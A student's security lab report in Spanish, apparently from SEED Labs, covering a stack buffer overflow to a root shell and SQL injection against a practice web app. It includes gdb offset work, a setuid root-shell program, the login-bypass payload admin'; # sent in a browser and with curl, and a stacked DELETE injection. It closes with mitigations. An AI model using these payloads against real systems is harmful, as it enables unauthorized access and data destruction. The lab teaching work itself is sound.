Trabajo Práctico N°2

Seguridad Informática

Alumno: Navall, Nicolás Uriel. N-1159/2.

Tema 1: Buffer Overflow

2.2) Al correr el programa *call_shellcode.c* se abre una terminal con credenciales de usuario (es decir no de root). Esto sería equivalente a correr “/bin/sh” en la terminal.

2.3 - 2.4) Para realizar y explotar el ataque utilizaremos *stack.c* como objetivo de nuestro ataque y *exploit.py* para preparar el archivo que utilizará *stack.c* como input.

El programa *exploit.py* se encargara de crear un archivo “badfile” que será intencionalmente más grande que el buffer del programa *stack.c*, y como este utiliza la función strcpy se copiaran valores del badfile en direcciones de memoria que no debería (en particular la dirección de retorno de la subrutina bof), cambiando así el flujo del programa, dando lugar al buffer overflow.

El archivo “badfile” se compone entonces de una serie de nops, un shellcode que ejecutara una terminal y la dirección de retorno del stack de forma tal que al copiar este badfile en el buffer del programa se ejecute nuestro shellcode.

Como deshabilitamos el “Address Space Layout Randomization” sabemos que nuestro proceso estará guardado en el mismo lugar del stack en la memoria. Utilizamos gdb para así encontrar la dirección de retorno de la función bof y el offset necesario para construir nuestro payload.

Pasamos entonces a correr el programa con gdb poniendo un breakpoint en la función bof y ejecutamos el programa.

El programa se detiene en el breakpoint dado, y al entrar en la función bof imprimo el valor guardado en el registro ebp para obtener el frame pointer, y utilizando esa dirección + 4 (que vendría a ser la dirección de retorno) le resto la dirección donde comienza el buffer donde se guardará la payload, para así obtener el offset necesario y saber en qué parte de nuestro payload poner la dirección de retorno para pisar la original.

$$(0xBFFFEB28 + 4) - 0xBFFFEB08 = 0xBFFFEB2C - 0xBFFFEB08 = (24)_{16} = (36)_{10}$$

```
   0x80484f7 <bof+12>:  lea    eax,[ebp-0x20]
   0x80484fa <bof+15>:  push   eax
   0x80484fb <bof+16>:  call   0x8048390 <strcpy@plt>
[-------------------------------------stack-------------------------------------]
0000| 0xbfffeb00 --> 0xb7fe96eb (<_dl_fixup+11>:        add    esi,0x15915)
0004| 0xbfffeb04 --> 0x0
0008| 0xbfffeb08 --> 0xb7fba000 --> 0x1b1db0
0012| 0xbfffeb0c --> 0xb7ffd940 (0xb7ffd940)
0016| 0xbfffeb10 --> 0xbfffed78 --> 0x0
0020| 0xbfffeb14 --> 0xb7feff10 (<_dl_runtime_resolve+16>:      pop    edx)
0024| 0xbfffeb18 --> 0xb7e6688b (<__GI__IO_fread+11>:   add    ebx,0x153775)
0028| 0xbfffeb1c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (
    str=0xbfffeb67 '\220' <repeats 36 times>, "\240\353\377\277", '\220' <repeat
s 160 times>...) at stack.c:21
21          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb28
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffeb08
gdb-peda$
```

Como ejecutamos el código con gdb el stack puede llegar a ser más grande de lo que sería si solamente corriéramos el programa. Por lo cual le daremos al *exploit.py* una direccion de retorno mas grande para asegurarnos de que el programa lo ejecute correctamente (no importa que le brindemos una dirección muy precisa ya que las direcciones alrededor de esta tienen “nops”, por lo que dada una dirección con un nop, se ignora y se intenta ejecutar la siguiente, llegando así eventualmente a la dirección que buscábamos, como una especie de embudo si se quiere).

```
[11/26/21]seed@VM:~/Downloads$ ./stack
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Luego de correr el programa *stack* con nuestro badfile puede verse un ‘#’ en la terminal, indicándonos que hemos realizado el ataque con éxito, pero aunque corramos el comando whami y nos devuelva root, en realidad nuestro user id no es igual a nuestro effective user id. Para solucionar esto necesitaremos correr el programa *rooteuid* para convertir nuestro user id a root. Por lo que corremos el programa que convierte nuestro user id a 0, el cual es el de root.

El programa *rooteuid* es el siguiente:

```
void main() {
  setuid(0);
  system("/bin/sh");
}
```

Y como podemos ver hemos obtenido acceso root en la terminal.

```
[11/26/21]seed@VM:~/Downloads$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# ./rooteuid
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

Para evitar estos ataques basta con activar “StackGuard” al compilar el programa (lo cual sucede por defecto). Además activar “Address Space Randomization” hace que el sistema operativo le asigne direcciones iniciales aleatorias a los stack y heaps, dificultando así que el atacante pueda ganar información al correr el programa múltiples veces.

Tema 2: SQL Injection

3.1) Luego de seguir las instrucciones de la consigna para loguearme en mySQL y cargar la tabla Users utilizamos el siguiente comando para obtener la información de Alice:

```
SELECT * FROM credential WHERE Name='Alice';
```

```
mysql> SELECT * FROM credential WHERE Name='Alice';
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+----------
------------------------------+
| ID | Name  | EID   | Salary | birth | SSN      | PhoneNumber | Address | Email | NickName | Password
                             |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+----------
------------------------------+
|  1 | Alice | 10000 |  20000 | 9/20  | 10211002 |             |         |       |          | fdbe918bda
e83000aa54747fc95fe0470fff4976 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+----------
------------------------------+
1 row in set (0.00 sec)
```

3.2) 1) Para loguearme como admin en la página ingreso como nombre de usuario **admin‘; #** por que el código php que se utiliza para autenticar usuarios tiene la siguiente línea:

```
WHERE name= '$input_uname' and Password='$hashed_pwd'";
```

Por lo que si intentamos logearnos con el nombre de usuario la línea que se ejecutara en el codigo sera la siguiente:

```
WHERE name= 'admin'; #' and Password='cualquier_contraseña_ingresada'";
```

Lo que implica que no se verificará si la contraseña ingresada es la correcta (es decir podemos ingresar cualquier cadena de texto en el campo de la contraseña, no es relevante) ya que se comenta el resto de la linea por el caracter #, por lo que podemos loguearnos con cualquier usuario, en este caso lo hacemos con admin.

2) Realizamos el mismo ataque desde la consola con el comando curl para enviar una consulta html. En este caso tenemos que usar el link www.seedlabsqlinjection.com/unsafe_home.php por que la autenticación se realiza sobre este archivo y no *index.html*.

Pasamos a escribirle en el parámetro de username **admin%27%3B%20%23** porque tenemos que encodear los caracteres especiales, por lo que esa lista de caracteres será traducida como **admin‘; #**. Y, al igual que el ejercicio anterior, no importa lo que pasemos en el parámetro de password.

```
  </html>[11/25/21]seed@VM:.../SQLInjection$ curl 'www.SeedLabSQLInjection.com/unsafe_home.php?user
n%27%3B%20%23&Password=noimporta'
<!--
SEED Lab: SQL Injection Education Web plateform
Author: Kailiang Ying
Email: kying@syr.edu
-->

<!--
SEED Lab: SQL Injection Education Web plateform
Enhancement Version 1
Date: 12th April 2018
Developer: Kuber Kohli
```

```
      <ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'><li class='nav-item active
'><a class='nav-link' href='unsafe_home.php'>Home <span class='sr-only'>(current)</span></a></li><li cla
ss='nav-item'><a class='nav-link' href='unsafe_edit_frontend.php'>Edit Profile</a></li></ul><button oncl
ick='logout()' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout</button></div></nav><di
v class='container'><br><h1 class='text-center'><b> User Details </b></h1><hr><br><table class='table ta
ble-striped table-bordered'><thead class='thead-dark'><tr><th scope='col'>Username</th><th scope='col'>E
Id</th><th scope='col'>Salary</th><th scope='col'>Birthday</th><th scope='col'>SSN</th><th scope='col'>N
ickname</th><th scope='col'>Email</th><th scope='col'>Address</th><th scope='col'>Ph. Number</th></tr></
thead><tbody><tr><th scope='row'> Alice</th><td>10000</td><td>20000</td><td>9/20</td><td>10211002</td><t
d></td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Boby</th><td>20000</td><td>30000</td><td>4/2
0</td><td>10213352</td><td></td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Ryan</th><td>30000<
/td><td>50000</td><td>4/10</td><td>98993524</td><td></td><td></td><td></td><td></td><td></td></tr><tr><th scope='
row'> Samy</th><td>40000</td><td>90000</td><td>1/11</td><td>32193525</td><td></td><td></td><td></td><td></td><td>
</td></tr><tr><th scope='row'> Ted</th><td>50000</td><td>110000</td><td>11/3</td><td>32111111</td><td></
td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Admin</th><td>99999</td><td>400000</td><td>3/5</
td><td>43254314</td><td></td><td></td><td></td><td></td><td></td></tr></tbody></table>      <br><br>
```

3) Al querer utilizar el login de la página para eliminar una entrada de la base de datos obtenemos el siguiente error.

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntaxis to use near 'DELETE FROM credential WHERE Name='Alice'; #' and Password='a0577ea5d5069de72993' at line 3]\n

Al intentar utilizar los mismos datos por consola como hicimos en el punto anterior se nuevamente el error mostrado.

Esto se debe a que la inyección SQL que quisimos hacer no funciona con MySQL por que en la extensión mysqli de PHP la API mysqli::query() no permite que se corran múltiples queries en la base de datos del servidor. Este conflicto es resultado de la extensión y no del servidor MySQL en sí mismo; por que el servidor en sí permite múltiples comandos SQL en una sola string. Esta limitación en la extensión MySQLi puede ser superada usando mysqli ->multiquery().

Por lo tanto, para realizar un ataque con múltiples query se debería cambiar el código php de la página. Suponiendo que tengamos acceso para hacer dicha tarea bastaría con adaptarlo para aceptar multiqueries de la siguiente manera:

```
70
71      // create a connection
72      $conn = getDB();
73      // Sql query to authenticate the user
74      $sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
75      FROM credential
76      WHERE name= '$input_uname' and Password='$hashed_pwd'";
77      if (!$conn->multi_query($sql)){
78        echo "</div>";
79        echo "</nav>";
80        echo "<div class='container text-center'>";
81        die('There was an error running the query [' . $conn->error . ']\n');
82        echo "</div>";
83      }
84      /* convert the select return result into array type */
85      $return_arr = array();
86      do{
87        if($result = $conn->use_result()){
88          while($row = $result->fetch_assoc()){
89            array_push($return_arr,$row);
90          }
91          $result->close();
92        }
93      }while($conn->next_result());
```

Y así utilizando la siguiente string como usuario (y, nuevamente, con cualquier string como contraseña) podemos realizar el ataque de forma exitosa:

```
Boby'; DELETE FROM credential WHERE Name='Alice'; #
```

A continuación la base de datos luego de realizar el ataque:

```
mysql> SELECT * FROM credential;
+----+-------+-------+--------+-------+----------+-------------+---------+------
-+----------+------------------------------------------+
| ID | Name  | EID   | Salary | birth | SSN      | PhoneNumber | Address | Email
 | NickName | Password                                 |
+----+-------+-------+--------+-------+----------+-------------+---------+------
-+----------+------------------------------------------+
|  2 | Boby  | 20000 |  30000 | 4/20  | 10213352 |             |         |
 |          | b78ed97677c161c1c82c142906674ad15242b2d4 |
|  3 | Ryan  | 30000 |  50000 | 4/10  | 98993524 |             |         |
 |          | a3c50276cb120637cca669eb38fb9928b017e9ef |
|  4 | Samy  | 40000 |  90000 | 1/11  | 32193525 |             |         |
 |          | 995b8b8c183f349b3cab0ae7fccd39133508d2af |
|  5 | Ted   | 50000 | 110000 | 11/3  | 32111111 |             |         |
 |          | 99343bff28a7bb51cb6f22cb20a618701a2c2f58 |
|  6 | Admin | 99999 | 400000 | 3/5   | 43254314 |             |         |
 |          | a5bdf35a1df4ea895905f6f6618e83951a6effc0 |
+----+-------+-------+--------+-------+----------+-------------+---------+------
-+----------+------------------------------------------+
5 rows in set (0.00 sec)
```

Los problemas de seguridad mostrados pueden ser solucionados al utilizar sentencias preprogramadas (para permitirle a la DBMS distinguir código de datos, lo cual evitará que podamos escribir queries en las entradas del sistema) o consultas parametrizadas en el sistema.